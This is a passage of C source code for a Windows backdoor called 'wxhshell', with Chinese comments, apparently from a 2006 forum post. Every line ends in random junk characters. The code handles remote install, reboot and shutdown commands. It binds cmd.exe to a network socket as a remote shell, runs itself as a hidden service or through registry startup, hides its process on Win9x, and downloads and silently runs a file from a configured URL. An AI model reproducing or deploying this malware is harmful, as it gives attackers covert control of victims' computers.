    break; &[*F!=%8  
  } tkBp?Wl  
  // 安装 >}` q4U6$  
  case 'i': { 9S ~!!7oj  
    if(Install()) )x1LOMe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A ^YHtJ  
    else i?uJ<BdU[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SG1fu<Q6J  
    break; XOQj?Q7)U  
    } +~Ni7Dp]  
  // 卸载 Hf( d x\5  
  case 'r': { _Y '+E  
    if(Uninstall()) #!d@;= [\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zfDx c3e  
    else J>(I"K%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <S'5`-&  
    break; EGYYSoBLU  
    } {FO>^~>l  
  // 显示 wxhshell 所在路径 6$TE-l  
  case 'p': { KUG\C\z6=  
    char svExeFile[MAX_PATH];  l`x;Og>a  
    strcpy(svExeFile,"\n\r"); nmlQ-V-  
      strcat(svExeFile,ExeFile); : [o0Va2 d  
        send(wsh,svExeFile,strlen(svExeFile),0); k23*F0Dv  
    break; sfSM7f  
    } tSK{Abw1B  
  // 重启 .!T]sX_P  
  case 'b': { R9X* R3nB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^&iUC&8W  
    if(Boot(REBOOT)) +Z0@z^6\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )jbYWR *&  
    else { N5u.V\F!z\  
    closesocket(wsh); l?:!G7ie  
    ExitThread(0); #wH<W5gSZ  
    } rt r0 d  
    break; \; Io  
    } deR2l(0%yr  
  // 关机 7(<6+q2~  
  case 'd': { -`FPR4;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G<9UL*HU  
    if(Boot(SHUTDOWN)) 9V*h:[6a(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZSj^\JU  
    else { @N?A 0S/  
    closesocket(wsh); "71@WLlN  
    ExitThread(0); ,6Ulj+l  
    } A+d&aE }3V  
    break; j8*fa  
    } /P bN!r<1  
  // 获取shell +qsNz*@p"  
  case 's': { ]r;-Lx{F  
    CmdShell(wsh); Gj]*_"T  
    closesocket(wsh); ]YcM45xg  
    ExitThread(0); `N%q^f~  
    break; ^<fN  
  } oTj9/r  
  // 退出 d4h1#MK  
  case 'x': { n gA&PU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8 ;oU{  
    CloseIt(wsh); F.i%o2P3  
    break; fI@4 v\  
    } &UtsI@Mu  
  // 离开 {f;]  
  case 'q': { 9mW95YI S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .JIn(  
    closesocket(wsh); X PnN"Y"y  
    WSACleanup(); ,B ]kX/W  
    exit(1); p`ai2`qC`  
    break; DDh$n?2fd  
        } QEIu}e6b  
  } ;C,D1_20Z  
  } {Muw4DV  
ng $`<~=)\  
  // 提示信息 dLQV>oF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7!!kR":  
} 9$F '*{8  
  } g7G=ga  
GmoY~}cg~  
  return; "|&xUWJ!)  
} 8Qtd,  
O?|st$g  
// shell模块句柄 $ftcYBZa  
int CmdShell(SOCKET sock) [ix45xu7  
{ sV{M#UF2  
STARTUPINFO si; HhkubG)\  
ZeroMemory(&si,sizeof(si)); b= <xzvy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V_*TY6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V$O{s~@ti  
PROCESS_INFORMATION ProcessInfo; cX'&J_T+  
char cmdline[]="cmd"; 4O Lq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QF 2Eg  
  return 0; l n}2   
} o)<c1\q  
_+ z5~6>  
// 自身启动模式 3(|8gWQ  
int StartFromService(void) 03aa>IO  
{ 9 z_9yT  
typedef struct O+U9 p  
{ C]{:>= K  
  DWORD ExitStatus; r9@4-U7v&  
  DWORD PebBaseAddress; xB=~3  
  DWORD AffinityMask; ~$7fU  
  DWORD BasePriority; <{U "0jY!9  
  ULONG UniqueProcessId; HS!O;7s'  
  ULONG InheritedFromUniqueProcessId; G  @ib  
}   PROCESS_BASIC_INFORMATION; J}IHQZS  
lqPzDdC^>  
PROCNTQSIP NtQueryInformationProcess; gKK*` L~  
)sg@HFhY'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *3_@#Uu7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z6G>j  
"_Wv,CYmNr  
  HANDLE             hProcess;  =lIG#{`Q  
  PROCESS_BASIC_INFORMATION pbi; r@;n \  
C^vB&3ghi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fba QXM  
  if(NULL == hInst ) return 0; v{7Jzjd  
6BT o%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Js-27_0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]<\Ft H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8:V:^`KaSs  
>gNVL (  
  if (!NtQueryInformationProcess) return 0; `4V_I%lJ&  
$ K>.|\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y#-mj,e  
  if(!hProcess) return 0; OmO/x  
9Yg=4>#$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $@y<.?k>UP  
RGrra<  
  CloseHandle(hProcess); Z/nTI 0N{  
D;%(Z!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vo*38c2  
if(hProcess==NULL) return 0; ]=T`8)_r)  
k.b->U  
HMODULE hMod; :sD/IM",},  
char procName[255]; FOz7W  
unsigned long cbNeeded; 9/N=7<$  
Hk)IV"[R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w#EP`aM2$=  
|y+<|fb,a  
  CloseHandle(hProcess); `/en&l  
-X#Zn>#  
if(strstr(procName,"services")) return 1; // 以服务启动 =bt/2 nPV  
{ir8n731p  
  return 0; // 注册表启动 'xO5Le(=M  
} >U/ m/H'  
#sLyU4QV  
// 主模块 )%D2JC  
int StartWxhshell(LPSTR lpCmdLine) @SH%l]  
{ x^_(gve:  
  SOCKET wsl; JVO,@~~  
BOOL val=TRUE; 7`,A]":;  
  int port=0; q.]>uBAQ?  
  struct sockaddr_in door; y^"[^+F3 .  
3R!?r^h  
  if(wscfg.ws_autoins) Install(); UOTM>d1P  
d^5OB8t  
port=atoi(lpCmdLine); kaBP& 6|Z  
"o+E9'Dm  
if(port<=0) port=wscfg.ws_port; I"/p^@IX  
Er; @nOyD  
  WSADATA data; h*J=F0KM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hq}kAv4B=  
>0yx!Iao  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YcJZG|[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |TCHPKN  
  door.sin_family = AF_INET; 6|q\ M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qs24b  
  door.sin_port = htons(port); NYS |fa  
{Vy2uow0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o&tETJ5Bhe  
closesocket(wsl); 0OJBC~?{\  
return 1; cB~D3a0Th  
} lCmTm  
1\G S"4~P  
  if(listen(wsl,2) == INVALID_SOCKET) { B J,U,!  
closesocket(wsl); 2%0J/]n\A"  
return 1; !1+yb.{\  
} KjK.Sv{N  
  Wxhshell(wsl); ~";GH20  
  WSACleanup(); m0XdIC]s  
cuenDw=eC  
return 0; k+8K[ ?K-  
^HpUbZpat)  
} xO2e>[W  
:by EXe;3  
// 以NT服务方式启动 #=~n>qn]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gmG M[c\  
{ =pQ'wx|>|  
DWORD   status = 0; BEn,py7  
  DWORD   specificError = 0xfffffff; Q a(>$.h  
N%8O9Dp8;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &j4 1<A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; crx8+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5X2&hG*  
  serviceStatus.dwWin32ExitCode     = 0; 5[^pU$Y  
  serviceStatus.dwServiceSpecificExitCode = 0;  \*5`@>_  
  serviceStatus.dwCheckPoint       = 0; 1Yj^N" =  
  serviceStatus.dwWaitHint       = 0; yXg #<H6V  
DI/yHs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5i 56J1EC  
  if (hServiceStatusHandle==0) return; QFn .<@  
R $vo  
status = GetLastError(); p#['CqP8  
  if (status!=NO_ERROR) {rp5qgVE<  
{ :el]IH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {*EA5;  
    serviceStatus.dwCheckPoint       = 0; # tN#_<W  
    serviceStatus.dwWaitHint       = 0; lPA:aHcj  
    serviceStatus.dwWin32ExitCode     = status; >]DnEF&  
    serviceStatus.dwServiceSpecificExitCode = specificError; @.JhL[f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @EPO\\C"f  
    return; P)VysYb?  
  } %!_okf   
IhIPy~Hgt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GwHp@_>  
  serviceStatus.dwCheckPoint       = 0; J|vriI;  
  serviceStatus.dwWaitHint       = 0; Qyn~Vu43  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'q+CL&D  
} 9NX/OctFa'  
Dwvd  
// 处理NT服务事件,比如:启动、停止 pq<302uBQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3v oas  
{ y _Mte  
switch(fdwControl) J<[Hw g  
{ ?f9@  
case SERVICE_CONTROL_STOP: nq9|cS%-  
  serviceStatus.dwWin32ExitCode = 0; }jF67c->  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Ja't8  
  serviceStatus.dwCheckPoint   = 0; D;~c`G "f  
  serviceStatus.dwWaitHint     = 0; 4d\1W?i-  
  { :%&~/@B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'IR2H{Q  
  } <$#;J>{WV  
  return; (%`R{Y  
case SERVICE_CONTROL_PAUSE: FH"u9ygF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ +e5 M1U=  
  break; ~,199K#'  
case SERVICE_CONTROL_CONTINUE: U _QCe+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I/F3%'O  
  break; dd$}FlT  
case SERVICE_CONTROL_INTERROGATE: Vn4y^_H  
  break; Rd4 z+G  
}; @"B"*z-d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Re`'dde=  
} hj~nLgpN  
=LP,+z  
// 标准应用程序主函数 c:%ll&Xtn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }p2YRTHx  
{ 6Dx^$=Sa$  
=3~u.iq$  
// 获取操作系统版本 :cx}I  
OsIsNt=GetOsVer(); @Yv+L)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *3,Kn}ik  
fT:a{  
  // 从命令行安装 #M9rt ~4  
  if(strpbrk(lpCmdLine,"iI")) Install(); wOhiC$E46  
s<}d)L(  
  // 下载执行文件 ;ALkeUR[  
if(wscfg.ws_downexe) { z?9vbx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D #<)q)  
  WinExec(wscfg.ws_filenam,SW_HIDE); _{d0Nm  
} 5]c'n  
q4'Vb  
if(!OsIsNt) { GIo7- 6kvm  
// 如果时win9x,隐藏进程并且设置为注册表启动 6*!R'  
HideProc(); s]tBd !~  
StartWxhshell(lpCmdLine); 4P1<Zi+<  
} 8IX:XDEQ  
else :Adx7!6  
  if(StartFromService()) ,};UD  W  
  // 以服务方式启动 h3}gg@Fm  
  StartServiceCtrlDispatcher(DispatchTable); sBsf{%I[{  
else Zx%ib8| j  
  // 普通方式启动 $i:wS= w'  
  StartWxhshell(lpCmdLine); 2YU-iipdOq  
-F7GUB6B  
return 0; WAzYnl'p  
}
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只看该作者 1 发表于: 2006-10-10
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